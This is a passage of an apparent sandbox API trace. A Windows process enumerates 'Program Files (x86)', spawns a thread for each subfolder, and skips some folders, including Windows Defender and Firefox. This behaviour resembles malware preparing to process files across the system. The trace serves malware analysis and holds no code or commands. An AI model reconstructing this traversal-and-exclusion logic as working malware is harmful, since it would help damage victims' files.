lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.575] wcscmp (_String1=".", _String2=".") returned 0 [0045.575] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.575] wcscmp (_String1="..", _String2=".") returned 1 [0045.575] wcscmp (_String1="..", _String2="..") returned 0 [0045.575] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0045.575] wcscmp (_String1="Adobe", _String2=".") returned 1 [0045.575] wcscmp (_String1="Adobe", _String2="..") returned 1 [0045.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402498 [0045.575] wcscpy (in: _Dest=0x402498, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.575] wcscat (in: _Dest=0x402498, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.575] wcscat (in: _Dest=0x402498, _Source="Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0045.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0045.576] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cd46de9c", cAlternateFileName="")) returned 1 [0045.576] wcscmp (_String1="cd46de9c", _String2=".") returned 1 [0045.576] wcscmp (_String1="cd46de9c", _String2="..") returned 1 [0045.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0045.577] wcscpy (in: _Dest=0x4024e0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.577] wcscat (in: _Dest=0x4024e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.577] wcscat (in: _Dest=0x4024e0, _Source="cd46de9c" | out: _Dest="C:\\Program Files (x86)\\cd46de9c") returned="C:\\Program Files (x86)\\cd46de9c" [0045.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4024e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0045.577] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbdc44680, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbdc44680, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0045.577] wcscmp (_String1="Common Files", _String2=".") returned 1 [0045.578] wcscmp (_String1="Common Files", _String2="..") returned 1 [0045.578] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444b90 [0045.578] wcscpy (in: _Dest=0x444b90, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.578] wcscat (in: _Dest=0x444b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.578] wcscat (in: _Dest=0x444b90, _Source="Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0045.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0045.579] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0045.579] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0045.579] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0045.579] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0045.579] wcscmp (_String1="Google", _String2=".") returned 1 [0045.579] wcscmp (_String1="Google", _String2="..") returned 1 [0045.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402528 [0045.579] wcscpy (in: _Dest=0x402528, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.579] wcscat (in: _Dest=0x402528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.579] wcscat (in: _Dest=0x402528, _Source="Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0045.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0045.580] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0045.580] wcscmp (_String1="Internet Explorer", _String2=".") returned 1 [0045.580] wcscmp (_String1="Internet Explorer", _String2="..") returned 1 [0045.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x41beb8 [0045.580] wcscpy (in: _Dest=0x41beb8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.580] wcscat (in: _Dest=0x41beb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.580] wcscat (in: _Dest=0x41beb8, _Source="Internet Explorer" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer" [0045.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41beb8) returned 1 [0045.580] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0045.580] wcscmp (_String1="Java", _String2=".") returned 1 [0045.580] wcscmp (_String1="Java", _String2="..") returned 1 [0045.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x409b28 [0045.580] wcscpy (in: _Dest=0x409b28, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.580] wcscat (in: _Dest=0x409b28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.580] wcscat (in: _Dest=0x409b28, _Source="Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0045.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0045.581] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0045.581] wcscmp (_String1="Microsoft Analysis Services", _String2=".") returned 1 [0045.581] wcscmp (_String1="Microsoft Analysis Services", _String2="..") returned 1 [0045.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420d28 [0045.581] wcscpy (in: _Dest=0x420d28, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.581] wcscat (in: _Dest=0x420d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.582] wcscat (in: _Dest=0x420d28, _Source="Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0045.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0045.583] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0045.583] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0045.583] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0045.583] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x413d88 [0045.583] wcscpy (in: _Dest=0x413d88, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.583] wcscat (in: _Dest=0x413d88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.583] wcscat (in: _Dest=0x413d88, _Source="Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0045.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0045.584] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visual Studio 8", cAlternateFileName="MICROS~3")) returned 1 [0045.584] wcscmp (_String1="Microsoft Visual Studio 8", _String2=".") returned 1 [0045.584] wcscmp (_String1="Microsoft Visual Studio 8", _String2="..") returned 1 [0045.584] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420d98 [0045.584] wcscpy (in: _Dest=0x420d98, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.584] wcscat (in: _Dest=0x420d98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.584] wcscat (in: _Dest=0x420d98, _Source="Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0045.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0045.585] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0045.585] wcscmp (_String1="Microsoft.NET", _String2=".") returned 1 [0045.585] wcscmp (_String1="Microsoft.NET", _String2="..") returned 1 [0045.585] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413de0 [0045.585] wcscpy (in: _Dest=0x413de0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.585] wcscat (in: _Dest=0x413de0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.585] wcscat (in: _Dest=0x413de0, _Source="Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0045.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0045.586] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf1a38c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0045.586] wcscmp (_String1="Mozilla Firefox", _String2=".") returned 1 [0045.586] wcscmp (_String1="Mozilla Firefox", _String2="..") returned 1 [0045.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413e38 [0045.587] wcscpy (in: _Dest=0x413e38, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.587] wcscat (in: _Dest=0x413e38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.587] wcscat (in: _Dest=0x413e38, _Source="Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0045.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e38) returned 1 [0045.587] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~2")) returned 1 [0045.587] wcscmp (_String1="Mozilla Maintenance Service", _String2=".") returned 1 [0045.587] wcscmp (_String1="Mozilla Maintenance Service", _String2="..") returned 1 [0045.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420e08 [0045.587] wcscpy (in: _Dest=0x420e08, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.587] wcscat (in: _Dest=0x420e08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.587] wcscat (in: _Dest=0x420e08, _Source="Mozilla Maintenance Service" | out: _Dest="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service" [0045.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420e08) returned 1 [0045.587] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553ced90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0045.587] wcscmp (_String1="MSBuild", _String2=".") returned 1 [0045.587] wcscmp (_String1="MSBuild", _String2="..") returned 1 [0045.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402570 [0045.587] wcscpy (in: _Dest=0x402570, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.587] wcscat (in: _Dest=0x402570, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.587] wcscat (in: _Dest=0x402570, _Source="MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0045.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228 [0045.589] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0045.589] wcscmp (_String1="Reference Assemblies", _String2=".") returned 1 [0045.589] wcscmp (_String1="Reference Assemblies", _String2="..") returned 1 [0045.589] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x41beb8 [0045.589] wcscpy (in: _Dest=0x41beb8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.589] wcscat (in: _Dest=0x41beb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.589] wcscat (in: _Dest=0x41beb8, _Source="Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0045.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41beb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c [0045.590] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0045.590] wcscmp (_String1="Uninstall Information", _String2=".") returned 1 [0045.590] wcscmp (_String1="Uninstall Information", _String2="..") returned 1 [0045.590] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x41bf18 [0045.590] wcscpy (in: _Dest=0x41bf18, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.590] wcscat (in: _Dest=0x41bf18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.590] wcscat (in: _Dest=0x41bf18, _Source="Uninstall Information" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0045.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41bf18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0045.591] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0045.591] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0045.591] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0045.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x413e38 [0045.591] wcscpy (in: _Dest=0x413e38, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.591] wcscat (in: _Dest=0x413e38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.591] wcscat (in: _Dest=0x413e38, _Source="Windows Defender" | out: _Dest="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender" [0045.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e38) returned 1 [0045.591] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0045.591] wcscmp (_String1="Windows Mail", _String2=".") returned 1 [0045.591] wcscmp (_String1="Windows Mail", _String2="..") returned 1 [0045.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444be0 [0045.592] wcscpy (in: _Dest=0x444be0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.592] wcscat (in: _Dest=0x444be0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.592] wcscat (in: _Dest=0x444be0, _Source="Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0045.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234 [0045.593] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0045.593] wcscmp (_String1="Windows Media Player", _String2=".") returned 1 [0045.593] wcscmp (_String1="Windows Media Player", _String2="..") returned 1 [0045.593] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x41a9b8 [0045.593] wcscpy (in: _Dest=0x41a9b8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.593] wcscat (in: _Dest=0x41a9b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.593] wcscat (in: _Dest=0x41a9b8, _Source="Windows Media Player" | out: _Dest="C:\\Program Files 